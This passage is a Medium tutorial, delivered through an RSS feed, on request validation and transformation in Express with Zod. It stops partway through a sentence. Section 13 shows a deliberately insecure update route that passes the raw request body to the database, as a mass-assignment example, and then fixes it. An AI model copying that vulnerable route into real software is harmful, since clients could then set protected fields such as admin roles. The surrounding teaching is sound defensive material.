<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Conveytoanurag on Medium]]></title>
        <description><![CDATA[Stories by Conveytoanurag on Medium]]></description>
        <link>https://medium.com/@anuragdotdev?source=rss-4f0627100668------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*q26XaZxnl3Ly7iw1i_skmg.png</url>
            <title>Stories by Conveytoanurag on Medium</title>
            <link>https://medium.com/@anuragdotdev?source=rss-4f0627100668------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 13:33:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@anuragdotdev/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Validation and Transformation in Backend Development: A Practical Guide]]></title>
            <link>https://medium.com/@anuragdotdev/validation-and-transformation-in-backend-development-a-practical-guide-a0e80bf85b11?source=rss-4f0627100668------2</link>
            <guid isPermaLink="false">https://medium.com/p/a0e80bf85b11</guid>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[backend-engineering]]></category>
            <category><![CDATA[backend-development]]></category>
            <category><![CDATA[software-development]]></category>
            <dc:creator><![CDATA[Conveytoanurag]]></dc:creator>
            <pubDate>Sat, 17 Oct 2026 13:11:23 GMT</pubDate>
            <atom:updated>2026-10-17T13:11:23.183Z</atom:updated>
            <content:encoded><![CDATA[<p>Every API receives data from somewhere outside the server. It could be a web application, a mobile app, another backend, or a developer using Postman.</p><p>The problem is that your backend cannot assume that the data is correct.</p><p>A frontend might send a string where your API expects a number. A user might submit an empty name, an invalid email, or an age that makes no sense. Someone could even send fields that were never supposed to be editable.</p><p>If your backend accepts that data without checking it, the problem can travel through your application until something breaks.</p><p>This is why validation and transformation exist.</p><p>In simple terms, validation checks whether incoming data follows the rules of your API. Transformation converts that data into the format your application expects.</p><p>Both are important for data integrity, security, and predictable application behavior.</p><p>In this article, we will understand how they work, where they belong in a backend architecture, what happens when validation is missing, and how to build a validation pipeline using Node.js and Express.</p><h3>1. What are validation and transformation?</h3><p>Let’s start with a simple example.</p><p>Suppose you are building an API that allows users to create a book. Your endpoint expects a name that must be a string between 5 and 100 characters.</p><p>The client sends this request:</p><pre>{<br>  &quot;name&quot;: 0<br>}</pre><p>The JSON is valid. The request can be parsed. But the data does not follow the rules of your API.</p><p>Your application expects a string, while the client has sent a number.</p><p><strong>Validation</strong> checks whether the name exists, whether it is a string, and whether its length falls within the permitted range.</p><p><strong>Transformation</strong> handles changes that make the input suitable for further processing. For example, it might remove unnecessary whitespace or convert a query parameter from a string into a number.</p><p>The two operations serve different purposes, but they often work together.</p><p>There are two main reasons why we need them.</p><p><strong>Data integrity:</strong> The service layer and database should receive data in a predictable format. If a field represents a price, the application should know how that value is represented and which values are allowed.</p><p><strong>Security:</strong> The server should not allow arbitrary client input to trigger unexpected operations, modify protected fields, or consume excessive resources.</p><p>Validation is not a complete security system by itself. Authentication, authorization, database constraints, parameterized queries, and other security controls still matter. But it is one of the first checks every API should perform.</p><h3>What counts as incoming data?</h3><p>Many developers associate validation only with req.body. In reality, a client can provide data through several parts of an HTTP request.</p><p>The request body contains information sent with operations such as creating or updating a resource. Query parameters carry values such as page and limit. Path parameters identify resources, as in /api/users/42. Headers can contain content types, authorization credentials, and other metadata.</p><p>All of these inputs need appropriate validation.</p><p>The exact rules depend on the data. A query parameter might need to become a number, a path parameter might need to match a particular identifier format, and a header might need to contain a supported content type.</p><p>The rule is straightforward: <strong>never assume that client-provided data is valid just because it came from your own frontend.</strong></p><h3>2. Where does validation belong in backend architecture?</h3><p>Before writing validation code, we need to understand where it fits into a typical backend.</p><p>A common architecture has three layers: the controller, the service, and the repository.</p><h3>The controller layer</h3><p>The controller is the HTTP-facing entry point of your application.</p><p>It receives the request, reads the relevant input, coordinates validation, calls the appropriate service, and sends the HTTP response.</p><p>For example, when a client requests POST /api/books, the controller handles the request and returns a status code such as 201 Created or 400 Bad Request.</p><p>This is where request validation and transformation are commonly connected through middleware or reusable validation functions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_TmPs_MvPVz4HRjyW4mCJQ.png" /></figure><h3>The service layer</h3><p>The service layer contains business logic.</p><p>Creating a book might involve checking business rules, generating metadata, and coordinating multiple operations. A user registration service might create an account, send a verification email, and record an event.</p><p>The service should not need to repeatedly determine whether the HTTP request contained a string or an array. That basic request validation should already have happened at the boundary.</p><p>However, the service still needs to enforce business rules that apply regardless of how it is called.</p><h3>The repository layer</h3><p>The repository handles data persistence.</p><p>It communicates with the database, executes queries, and performs operations such as inserting, updating, and deleting records.</p><p>For example, a repository might insert a new book into PostgreSQL or retrieve a user from MongoDB.</p><p>The repository should not be the first place where the application discovers that a required request field is missing.</p><p>Database constraints remain essential, but they serve a different purpose. They protect data integrity even when application-level checks are bypassed or concurrent requests create a race condition.</p><h3>How the layers work together</h3><p>Consider a request to create a book.</p><p>The controller receives the request and validates its input. If validation fails, it returns an appropriate client error. The service is never called.</p><p>If validation succeeds, the controller passes the validated data to the service. The service applies business rules and calls the repository if persistence is required. The repository performs the database operation, and the result travels back through the service to the controller.</p><p>This separation keeps HTTP-specific concerns out of the core business logic and prevents invalid requests from unnecessarily reaching deeper layers.</p><p>One important detail: validation is not restricted to code physically written inside a controller function. In Express, reusable middleware is often the cleaner approach. The important thing is that it runs at the request boundary, before the relevant business operation.</p><h3>3. The request lifecycle: where the validation pipeline runs</h3><p>An incoming request does not immediately execute your business logic. It passes through several steps.</p><p>First, the server receives the HTTP request. Middleware handles tasks such as parsing the JSON body. Express then matches the request to a registered route and executes the route’s middleware and handler in order.</p><p>Validation should run after the relevant input is available and before the application performs business operations.</p><p>A simplified lifecycle looks like this:</p><pre>Client sends request<br>        |<br>        v<br>Express receives request<br>        |<br>        v<br>Body parsing and size limits<br>        |<br>        v<br>Route matching<br>        |<br>        v<br>Validation and transformation<br>        |<br>        +---- Invalid input<br>        |         |<br>        |         v<br>        |     Return 400<br>        |<br>        v<br>Controller continues<br>        |<br>        v<br>Service layer<br>        |<br>        v<br>Repository layer<br>        |<br>        v<br>Database<br>        |<br>        v<br>Response to client</pre><p>This ordering matters because invalid input should be rejected before the application sends emails, processes payments, writes to the database, or performs other side effects.</p><p>For example, if a request contains an invalid product quantity, there is no reason to call the inventory service and begin processing an order.</p><p>Rejecting invalid data early is an application of the fail-fast principle. The application identifies the problem at the earliest sensible point instead of allowing it to travel through the system.</p><h3>4. Why validation matters: the 500 vs 400 problem</h3><p>Let’s return to the book API.</p><p>Suppose your PostgreSQL database contains a table with this schema:</p><pre>CREATE TABLE books (<br>  id SERIAL PRIMARY KEY,<br>  name TEXT NOT NULL<br>);</pre><p>The name column expects text and cannot be null.</p><p>Now imagine a client sends the following request:</p><pre>{<br>  &quot;name&quot;: 0<br>}</pre><p>Your controller accepts the request, calls the service, and eventually asks the repository to insert the record.</p><p>Depending on how the database query is constructed and how the driver handles the value, PostgreSQL may reject the operation because the supplied value does not match the expected column type.</p><p>If the application does not handle that failure correctly, the client may receive a 500 Internal Server Error.</p><p>A 500 response means that the server encountered an unexpected condition. It should not be the normal way to report invalid client input.</p><p>Now consider the same request with validation at the entry point.</p><p>The validator checks name, detects that the value is a number instead of a string, and rejects the request before the service or repository is called.</p><p>The server can return:</p><pre>{<br>  &quot;message&quot;: &quot;Validation failed&quot;,<br>  &quot;errors&quot;: [<br>    {<br>      &quot;field&quot;: &quot;name&quot;,<br>      &quot;message&quot;: &quot;Expected a string&quot;<br>    }<br>  ]<br>}</pre><p>The response uses 400 Bad Request, and the client knows what to fix.</p><p>There is no unnecessary database call, and the application does not need to turn a predictable input error into an internal server failure.</p><p>The important distinction is that not every database error should become a 400. Unexpected database failures should still be handled as server errors. Validation helps identify client mistakes before they become database operations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bNxMGW10VyRDLT40_ZbkyQ.png" /></figure><h3>5. How a validation pipeline works</h3><p>A validation pipeline checks input against a set of rules.</p><p>Suppose the name field must be present, must be a string, and must contain between 5 and 100 characters.</p><p>The pipeline can be understood through three basic checks.</p><p><strong>First, the existence check.</strong> Does the required field exist? If the request contains no name, the validator should report that the field is required.</p><p><strong>Second, the type check.</strong> If the field exists, is it the expected type? An array, boolean, or number should not be accepted where a string is required.</p><p><strong>Third, the constraint check.</strong> If the value has the correct type, does it satisfy the remaining rules? A two-character name fails the minimum length, while a string longer than 100 characters fails the maximum length.</p><p>These checks build on each other. There is no point in checking the length of a value that is not a string.</p><p>A schema validation library makes these rules explicit and reusable.</p><p>For our examples, we will use Zod with Express. Zod lets us define the accepted input shape, apply constraints, and transform values without manually writing every check.</p><p>Install the dependencies:</p><pre>npm install express zod</pre><p>The following schema describes the book creation request:</p><pre>import { z } from &quot;zod&quot;;<br>const CreateBookSchema = z.strictObject({<br>  name: z.string().trim().min(5).max(100)<br>});</pre><p>This schema requires a string between 5 and 100 characters after trimming whitespace. It also rejects unexpected properties.</p><p>The schema is a description of what the endpoint accepts. It is not tied to one particular request, so it can be reused in middleware and tests.</p><h3>6. The four main types of validation</h3><p>Different input rules solve different problems. In practice, four categories cover many of the requirements you will encounter while designing APIs.</p><h3>Type validation</h3><p>Type validation checks whether a value has the expected programming data type.</p><p>An endpoint might expect a string, number, boolean, array, or object. If the client sends the wrong type, the request should fail.</p><p>Consider an endpoint that accepts a product:</p><pre>const ProductSchema = z.strictObject({<br>  name: z.string(),<br>  price: z.number().nonnegative(),<br>  tags: z.array(z.string()),<br>  available: z.boolean()<br>});</pre><p>The schema requires a string for name, a non-negative number for price, an array of strings for tags, and a boolean for available.</p><p>This request is valid:</p><pre>{<br>  &quot;name&quot;: &quot;Keyboard&quot;,<br>  &quot;price&quot;: 1499,<br>  &quot;tags&quot;: [&quot;electronics&quot;, &quot;accessories&quot;],<br>  &quot;available&quot;: true<br>}</pre><p>But this request is not:</p><pre>{<br>  &quot;name&quot;: &quot;Keyboard&quot;,<br>  &quot;price&quot;: &quot;1499&quot;,<br>  &quot;tags&quot;: [&quot;electronics&quot;, 10],<br>  &quot;available&quot;: &quot;true&quot;<br>}</pre><p>The price and availability values are strings, while the schema expects a number and a boolean. The second element in tags is also a number, even though every element must be a string.</p><p>Type validation can apply recursively to nested objects and arrays. Checking the outer array is not enough if the elements inside it have their own requirements.</p><p>This matters when your API accepts complex objects such as orders, user profiles, or nested product information.</p><h3>Syntactic validation</h3><p>Syntactic validation checks whether a value follows an expected format.</p><p>An email address must follow an accepted email format. A phone number may need to match a defined pattern. A date might need to use the ISO format YYYY-MM-DD.</p><p>For example:</p><pre>const ContactSchema = z.strictObject({<br>  email: z.string().email(),<br>  phone: z.string().regex(/^\+?[0-9]{7,15}$/),<br>  date: z.iso.date()<br>});</pre><p>This schema checks the email format, restricts the phone number to an optional plus sign followed by 7 to 15 digits, and expects a valid ISO date.</p><p>Syntactic validation has limits. A valid-looking email address does not prove that the mailbox exists. A phone number matching a pattern does not prove that it belongs to the person submitting it.</p><p>If the application needs to verify ownership, it requires an additional process such as sending a verification link or code.</p><p>The validator checks the accepted format, not every real-world fact about the value.</p><h3>Semantic validation</h3><p>Semantic validation checks whether a value makes sense according to the rules of the application or the real world.</p><p>For example, a date of birth cannot be in the future. A person’s age should not be negative or 430 years old.</p><p>The value might have the correct type and format but still be logically invalid.</p><pre>const ProfileSchema = z.strictObject({<br>  dateOfBirth: z.iso.date(),<br>  age: z.number().int().min(1).max(120)<br>}).refine(<br>  data =&gt; data.dateOfBirth &lt;= new Date().toISOString().slice(0, 10),<br>  {<br>    path: [&quot;dateOfBirth&quot;],<br>    message: &quot;Date of birth cannot be in the future&quot;<br>  }<br>);</pre><p>This schema checks the date format and applies an additional rule to reject future dates. It also restricts age to an integer between 1 and 120.</p><p>For a production application, be careful when dealing with dates and time zones. Date-only values should be handled consistently, and the rules for age or eligibility should reflect the actual business requirement.</p><p>Semantic validation is where the application moves beyond asking whether a value is formatted correctly and starts asking whether the value is acceptable in context.</p><h3>Complex or dependent validation</h3><p>Sometimes the validity of one field depends on another field.</p><p>A password confirmation must match the password. An end date cannot precede a start date. A partner name might be required only when a married field is set to true.</p><p>These are cross-field or conditional validation rules.</p><pre>const SignupSchema = z.strictObject({<br>  password: z.string().min(8),<br>  confirmPassword: z.string(),<br>  married: z.boolean(),<br>  partner: z.string().optional()<br>}).refine(<br>  data =&gt; data.password === data.confirmPassword,<br>  {<br>    path: [&quot;confirmPassword&quot;],<br>    message: &quot;Passwords do not match&quot;<br>  }<br>).refine(<br>  data =&gt; !data.married || Boolean(data.partner?.trim()),<br>  {<br>    path: [&quot;partner&quot;],<br>    message: &quot;Partner name is required when married is true&quot;<br>  }<br>);</pre><p>The first rule checks whether the passwords match. The second rule requires a non-empty partner name when married is true.</p><p>These rules help keep related requirements in one place rather than scattering conditional checks throughout the controller.</p><p>Not every dependent rule belongs in a schema, though. If a rule depends on the database, current permissions, or an external service, it may belong in the service layer.</p><h3>7. Transformation: converting data into the expected format</h3><p>Now that we understand validation, let’s look at transformation in more detail.</p><p>Transformation modifies incoming data to make it suitable for the application. It can happen before validation when the incoming representation needs to be converted first, or after validation when the value needs to be normalized before reaching the service.</p><p>Two common examples are type casting and data normalization.</p><h3>Type casting</h3><p>HTTP query parameters are represented as text. When a client sends:</p><p>GET /api/books?page=2&amp;limit=20</p><p>Express exposes the query parameters through req.query. Their values are generally strings, even though the application needs numbers for pagination.</p><p>If the schema expects a number and receives the string &quot;2&quot;, strict type validation will fail.</p><p>The solution is to transform the value into the expected type before applying numeric constraints.</p><pre>import { z } from &quot;zod&quot;;</pre><pre>const PaginationSchema = z.strictObject({<br>  page: z.coerce.number().int().min(1).max(499).default(1),<br>  limit: z.coerce.number().int().min(1).max(100).default(20)<br>});</pre><p>Zod’s coercion converts suitable input into numbers, after which the schema checks the integer and range requirements.</p><p>For example, the string &quot;2&quot; becomes the number 2, while the string &quot;20&quot; becomes the number 20.</p><p>But coercion must be used carefully. JavaScript can convert an empty string to zero, and a careless conversion can hide invalid input.</p><p>For boolean query parameters, explicitly define the accepted values:</p><pre>const BooleanFromQuery = z<br>  .enum([&quot;true&quot;, &quot;false&quot;])<br>  .transform(value =&gt; value === &quot;true&quot;);</pre><p>This converts the string &quot;true&quot; to the boolean true and &quot;false&quot; to false. Other values are rejected.</p><p>The important point is that transformation should follow the API contract. Do not accept arbitrary input simply because JavaScript can convert it.</p><h3>Data normalization</h3><p>Normalization converts values into a consistent representation.</p><p>Suppose a user submits an email address as Test@Example.com. If your account system treats email addresses case-insensitively, you might normalize the value to lowercase before storing or comparing it.</p><pre>const EmailSchema = z.string()<br>  .email()<br>  .transform(value =&gt; value.toLowerCase());</pre><p>Another common example is trimming whitespace:</p><pre>const NameSchema = z.string()<br>  .trim()<br>  .min(2)<br>  .max(50);</pre><p>The application now works with a normalized name rather than one containing unnecessary spaces at the beginning or end.</p><p>Normalization can also be useful for phone numbers, identifiers, and dates, but each case needs its own rules. Automatically adding a country code or a plus sign to a phone number, for example, is only correct if the application knows which format the number should follow.</p><p>Do not normalize data blindly. The transformation must preserve the meaning of the original value.</p><h3>8. Why transformation and validation must work together</h3><p>A common question is whether transformation should happen before or after validation. The answer depends on the data and the transformation being performed.</p><p>If a query parameter arrives as a string but the application expects an integer, conversion should happen before numeric validation. If you are trimming a name, normalize it before checking its final length. For other inputs, you may need to validate the original format before transforming it.</p><p>A general validation pipeline looks like this:</p><pre>Incoming Request<br>       |<br>       v<br>Parse Input + Enforce Size Limits<br>       |<br>       v<br>Validate Basic Input Shape<br>       |<br>       v<br>Transform / Coerce Values<br>       |<br>       v<br>Validate Transformed Values<br>       |<br>       v<br>Normalize Data<br>       |<br>       v<br>Validate Final Invariants (if needed)<br>       |<br>       v<br>Controller → Service → Repository</pre><p>Let’s understand each step.</p><p><strong>1. Parse input and enforce size limits.</strong> The server parses the request body and rejects malformed JSON or oversized payloads before processing the data.</p><p><strong>2. Validate the basic input shape.</strong> Check required fields, expected types, and accepted input formats. This prevents unexpected data from moving further into the application.</p><p><strong>3. Transform or coerce values.</strong> Convert values when the API contract requires it. For example, convert the query parameter &quot;2&quot; into the number 2.</p><p><strong>4. Validate transformed values.</strong> Check the resulting types, ranges, and constraints. A pagination value, for example, must be a positive integer within the API’s allowed limit.</p><p><strong>5. Normalize data.</strong> Apply consistent formatting, such as trimming surrounding whitespace or converting email addresses to lowercase according to the application’s policy.</p><p><strong>6. Validate final invariants.</strong> If normalization changes a value in a way that affects its validity, check the relevant rules again before passing the data to the service.</p><p>This is a general model, not a rigid sequence for every field. Some operations can be combined in a schema, and some fields need a different order. The important thing is to make the order explicit and ensure that the final data satisfies the API’s rules.</p><p>For example, Zod can trim a string before checking its length:</p><pre>const NameSchema = z.string()<br>  .trim()<br>  .min(5)<br>  .max(100);</pre><p>Here, the length constraints apply to the trimmed value. A name containing only three meaningful characters will fail even if the original input contains extra spaces.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NiWuPkMEUvcElWxVbnvM9Q.png" /></figure><p>The goal is to ensure that invalid data is rejected before business logic runs, while valid data reaches the service in a predictable format.</p><h3>9. Build reusable validation middleware in Express</h3><p>Writing the same validation logic inside every controller quickly becomes repetitive.</p><p>Imagine ten endpoints, each with its own checks for missing fields, incorrect types, and invalid values. Every controller now contains both HTTP handling and validation logic.</p><p>A reusable middleware solves this problem.</p><p>The middleware receives a schema, validates the request data, and either returns a client error or passes the validated data to the next handler.</p><pre>import express from &quot;express&quot;;<br>import { z } from &quot;zod&quot;;<br>const app = express();<br>app.use(express.json({ limit: &quot;100kb&quot; }));<br>function validateBody(schema) {<br>  return (req, res, next) =&gt; {<br>    const result = schema.safeParse(req.body);<br>    if (!result.success) {<br>      return res.status(400).json({<br>        message: &quot;Validation failed&quot;,<br>        errors: result.error.issues.map(issue =&gt; ({<br>          field: issue.path.join(&quot;.&quot;),<br>          message: issue.message<br>        }))<br>      });<br>    }<br>    req.validatedBody = result.data;<br>    next();<br>  };<br>}</pre><p>Let’s understand what this middleware does.</p><p>First, safeParse() checks the request body against the schema without throwing a validation exception for ordinary invalid input.</p><p>If validation fails, the middleware returns a 400 Bad Request response containing the field paths and error messages.</p><p>If validation succeeds, the middleware stores the parsed result in req.validatedBody and calls next().</p><p>The controller can then use the validated and transformed data instead of the original req.body.</p><p>This is important because validation is only useful if the application actually uses its result.</p><p>Also, body parsing and validation are different stages. The middleware above assumes that express.json() has already parsed the request body. Malformed JSON may fail before this middleware runs, so the application should handle parsing errors separately.</p><h3>10. A complete example: creating a book</h3><p>Let’s connect the concepts in a working Express route.</p><p>We want an endpoint that accepts a book name. The name must be a string, contain between 5 and 100 characters after trimming, and contain no unexpected fields.</p><p>First, define the schema:</p><pre>import express from &quot;express&quot;;<br>import { z } from &quot;zod&quot;;<br>const app = express();<br>app.use(express.json({ limit: &quot;100kb&quot; }));<br>const CreateBookSchema = z.strictObject({<br>  name: z.string().trim().min(5).max(100)<br>});</pre><p>Next, define the reusable middleware:</p><pre>function validateBody(schema) {<br>  return (req, res, next) =&gt; {<br>    const result = schema.safeParse(req.body);<br>if (!result.success) {<br>      return res.status(400).json({<br>        message: &quot;Validation failed&quot;,<br>        errors: result.error.issues.map(issue =&gt; ({<br>          field: issue.path.join(&quot;.&quot;),<br>          message: issue.message<br>        }))<br>      });<br>    }<br>    req.validatedBody = result.data;<br>    next();<br>  };<br>}</pre><p>Now connect it to the route:</p><pre>app.post(<br>  &quot;/api/books&quot;,<br>  validateBody(CreateBookSchema),<br>  async (req, res, next) =&gt; {<br>    try {<br>      const book = await bookService.create(<br>        req.validatedBody.name<br>      );<br>  return res.status(201).json(book);<br>    } catch (error) {<br>      return next(error);<br>    }<br>  }<br>);</pre><p>The route executes the validation middleware before the controller handler.</p><p>If the client sends a valid name, the middleware passes the parsed data to the controller. The controller calls the service and returns 201 Created if the book is created successfully.</p><p>If the client sends an invalid name, the middleware returns 400 Bad Request and the service is never called.</p><p>The example assumes that bookService.create() is implemented separately and that the application has a consistent error-handling strategy.</p><p>Notice what we have achieved. The controller does not need to repeat the same validation rules. The schema defines what the endpoint accepts, and the middleware enforces that contract before business logic runs.</p><p>This pattern can be reused across many endpoints, including user registration, profile updates, product creation, and order processing.</p><h3>11. Validate every input source, not just the body</h3><p>The previous example validates req.body, but a real application also needs to validate query parameters, path parameters, and selected headers.</p><p>Consider a route such as:</p><p>GET /api/users/42?page=2&amp;limit=20</p><p>The path parameter identifies the user, while the query parameters control pagination.</p><p>You can define separate schemas for these inputs:</p><pre>const UserParamsSchema = z.strictObject({<br>  id: z.string().regex(/^[1-9]\d*$/)<br>});<br>const PaginationSchema = z.strictObject({<br>  page: z.coerce.number().int().min(1).max(499).default(1),<br>  limit: z.coerce.number().int().min(1).max(100).default(20)<br>});</pre><p>Then validate each input source before the controller uses it.</p><pre>app.get(&quot;/api/users/:id&quot;, async (req, res, next) =&gt; {<br>  const paramsResult = UserParamsSchema.safeParse(req.params);<br>  const queryResult = PaginationSchema.safeParse(req.query);<br>if (!paramsResult.success || !queryResult.success) {<br>    return res.status(400).json({<br>      message: &quot;Invalid request parameters&quot;<br>    });<br>  }<br>  try {<br>    const { id } = paramsResult.data;<br>    const { page, limit } = queryResult.data;<br>    const user = await userService.getById(id, {<br>      page,<br>      limit<br>    });<br>    return res.json(user);<br>  } catch (error) {<br>    return next(error);<br>  }<br>});</pre><p>This is a simplified example. In a larger application, you would usually extract the parameter and query validation into reusable middleware, just as we did with the request body.</p><p>One detail matters here: the schema validates the identifier’s format, but it does not prove that the user exists. That requires a database lookup. Even if the user exists, authorization must still determine whether the caller can access that user’s information.</p><p>Similarly, headers should be validated according to their purpose. For example, the application can check that a request has a supported content type. Authentication credentials need their own verification process, not just a check that a header exists.</p><p>Each input source has its own contract, and each contract should be enforced before the application relies on that input.</p><h3>12. Frontend validation vs backend validation</h3><p>This is one of the most important rules in API development.</p><p>Frontend validation and backend validation may look similar, but they serve different purposes.</p><h3>Frontend validation is for user experience</h3><p>Suppose a registration form requires an email address and a password of at least 12 characters.</p><p>The frontend can check these fields as the user types. If the email format is incorrect, it can show an inline error. If the password is too short, it can prevent the form from being submitted.</p><p>This makes the application easier to use because users receive immediate feedback without waiting for a server response.</p><h3>Backend validation is for data integrity and security</h3><p>The frontend is not a trusted security boundary.</p><p>A user can bypass the form entirely and send a request using Postman, Insomnia, curl, or a custom script. A mobile application or third-party service can also call the API without using your website.</p><p>Even if your frontend performs perfect validation, the backend must enforce the rules independently.</p><p>For example, a frontend might prevent users from submitting a negative product quantity. But an attacker can send a negative quantity directly to the API.</p><p>If the backend accepts it, the frontend check has achieved nothing from a security perspective.</p><p>The same applies to protected fields. Hiding an isAdmin field in the frontend does not prevent a client from adding it to the request body.</p><p>The server must decide which fields are accepted and which operations are authorized.</p><p>Both forms of validation are useful, but they are not interchangeable. Frontend validation improves the user experience. Backend validation enforces the API contract for every client.</p><h3>13. Unknown fields and mass assignment</h3><p>Let’s look at a more serious example.</p><p>Imagine an endpoint that updates a user’s profile:</p><pre>app.patch(&quot;/api/users/:id&quot;, async (req, res) =&gt; {<br>  const user = await User.findByIdAndUpdate(<br>    req.params.id,<br>    req.body,<br>    { new: true }<br>  );<br>return res.json(user);<br>});</pre><p>This code passes the entire request body to the database update operation.</p><p>A normal request might contain a name and bio. But a client could also submit fields such as role, credits, or isAdmin.</p><p>If those fields are writable and the application does not restrict them, the client may be able to modify values they should not control.</p><p>This is known as a mass assignment vulnerability.</p><p>The solution is to define the fields that the endpoint allows.</p><pre>const UpdateProfileSchema = z.strictObject({<br>  name: z.string().trim().min(2).max(50).optional(),<br>  bio: z.string().max(500).optional()<br>});</pre><p>The controller should validate the request and pass only the parsed data to the update operation.</p><pre>const result = UpdateProfileSchema.safeParse(req.body);<br>if (!result.success) {<br>  return res.status(400).json({<br>    message: &quot;Invalid profile data&quot;<br>  });<br>}<br>const updatedUser = await User.findByIdAndUpdate(<br>  req.params.id,<br>  { $set: result.data },<br>  { new: true, runValidators: true }<br>);</pre><p>This example uses a Mongoose-style update operation. The schema validation and the database model validation are separate checks, and neither replaces authorization.</p><p>You still need to verify that the authenticated user is allowed to update the requested account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9v8TDy-4MOKX_IW7yKXwcw.png" /></figure><p>The broader lesson is that an endpoint should accept only the fields it needs. Do not let the shape of the database model automatically determine what a client can modify.</p><h3>14. Validation is not authorization</h3><p>There is a difference between valid input and a permitted action.</p><p>Suppose a client sends a correctly formatted user ID. The ID may be a valid string, and the corresponding user may even exist in the database.</p><p>That still does not mean the caller is allowed to access that user’s information.</p><p>Validation checks the structure and rules of the input. Authentication establishes the identity of the caller. Authorization determines whether that caller has permission to perform the requested action.</p><p>These checks work together, but they solve different problems.</p><p>For example, an update endpoint might validate the request body, verify the caller’s identity, check that the caller owns the profile, and then call the service.</p><p>The order can vary depending on the endpoint and security requirements, but no amount of input validation can replace an authorization check.</p><p>This is especially important for APIs that handle payments, account settings, administrative operations, and personal information.</p><h3>15. Database constraints still matter</h3><p>If validation happens before the database call, why do we still need database constraints?</p><p>Because application-level validation cannot guarantee data integrity under every condition.</p><p>Consider an email registration endpoint. The server checks whether an email already exists. If it does not, the server creates the account.</p><p>Now imagine two requests arrive at almost the same time.</p><p>Both requests check the database and find that the email is available. Both proceed to create an account.</p><p>Without a database-level uniqueness constraint, the application may end up with duplicate accounts.</p><p>This is a race condition.</p><p>The solution is to enforce uniqueness in the database itself. A unique index guarantees that the database will reject the conflicting insert, even if multiple requests pass the application-level check.</p><p>The application can then catch the duplicate-key error and return 409 Conflict.</p><p>The same principle applies to required fields, numeric ranges, foreign keys, and other data integrity rules supported by your database.</p><p>Application validation gives clients clear errors and prevents unnecessary work. Database constraints provide a final guarantee that stored data follows the required rules.</p><p>You need both.</p><h3>16. Common mistakes to avoid</h3><p>A few mistakes appear repeatedly in backend applications.</p><p><strong>Validating only in the frontend.</strong> This leaves the API exposed to requests that bypass the user interface. Always enforce important input rules on the server.</p><p><strong>Passing </strong><strong>req.body directly to the service or database.</strong> This allows unvalidated fields to travel deeper into the application. Pass the validated and transformed result instead.</p><p><strong>Treating every error as a 500.</strong> Invalid client input should normally produce a client error, while unexpected server failures should be handled separately.</p><p><strong>Using coercion without understanding JavaScript conversions.</strong> Empty strings, booleans, and other values can produce unexpected results. Define which representations your API accepts.</p><p><strong>Checking only the outer object.</strong> Nested objects and arrays need their own validation rules. A valid array can still contain invalid elements.</p><p><strong>Confusing validation with authorization.</strong> A correctly formatted request does not prove that the caller has permission to perform the operation.</p><p><strong>Relying only on application checks for data integrity.</strong> Database constraints are still needed for guarantees such as uniqueness and referential integrity.</p><p><strong>Accepting unbounded input.</strong> Validation happens after parsing, so request size limits must be enforced early. Large arrays, deeply nested objects, and expensive patterns can also consume excessive resources.</p><p>Avoiding these mistakes makes validation more than a collection of field checks. It turns it into a consistent part of your API design.</p><h3>17. How to test your validation pipeline</h3><p>Validation rules are code, and code needs tests.</p><p>Testing only a successful request does not tell you whether the endpoint rejects invalid input correctly.</p><p>For a book creation endpoint, you should test a valid name, a missing name, a number instead of a string, a name below the minimum length, a name above the maximum length, and an unexpected field.</p><p>You should also verify that invalid requests never call the service.</p><p>Here is a small example using Node.js’s built-in test runner and Zod:</p><pre>import test from &quot;node:test&quot;;<br>import assert from &quot;node:assert/strict&quot;;<br>import { z } from &quot;zod&quot;;<br>const CreateBookSchema = z.strictObject({<br>  name: z.string().trim().min(5).max(100)<br>});<br>test(&quot;accepts a valid book name&quot;, () =&gt; {<br>  const result = CreateBookSchema.safeParse({<br>    name: &quot;  Backend Basics  &quot;<br>  });<br>  assert.equal(result.success, true);<br>  if (result.success) {<br>    assert.equal(result.data.name, &quot;Backend Basics&quot;);<br>  }<br>});<br>test(&quot;rejects a number instead of a string&quot;, () =&gt; {<br>  const result = CreateBookSchema.safeParse({<br>    name: 0<br>  });<br>  assert.equal(result.success, false);<br>});<br>test(&quot;rejects unexpected properties&quot;, () =&gt; {<br>  const result = CreateBookSchema.safeParse({<br>    name: &quot;Backend Basics&quot;,<br>    isAdmin: true<br>  });<br>  assert.equal(result.success, false);<br>});</pre><p>These tests check both validation and transformation.</p><p>For a complete Express application, also test the HTTP response. An invalid request should return the expected status code and error format. A valid request should reach the service. Invalid input should not cause database writes, send emails, or trigger other side effects.</p><p>This is how you verify that the validation pipeline works in the actual request lifecycle rather than only as an isolated schema.</p><h3>18. A few additional production considerations</h3><p>Once your API grows, validation needs to work alongside other design decisions.</p><h3>Keep request and response schemas separate</h3><p>The fields accepted during account creation should not automatically become the fields returned by the API.</p><p>For example, a request may contain a password, but the response must never expose the password or its hash.</p><p>Use dedicated request and response schemas or data transfer objects. This makes it easier to control what enters and leaves your application.</p><h3>Keep error responses consistent</h3><p>Different endpoints should not return completely different formats for the same kind of validation failure.</p><p>Choose a consistent response structure, document it, and make sure the frontend can process it. Avoid returning database errors, stack traces, or sensitive internal information.</p><h3>Be careful with expensive validation rules</h3><p>Some checks require database queries or external API calls. Others use regular expressions or process large nested objects.</p><p>Keep input sizes bounded, avoid unnecessarily expensive checks, and do not perform external operations during validation unless the rule genuinely requires them.</p><p>Database-dependent business rules are often better handled in the service layer.</p><h3>Handle parsing errors separately</h3><p>If 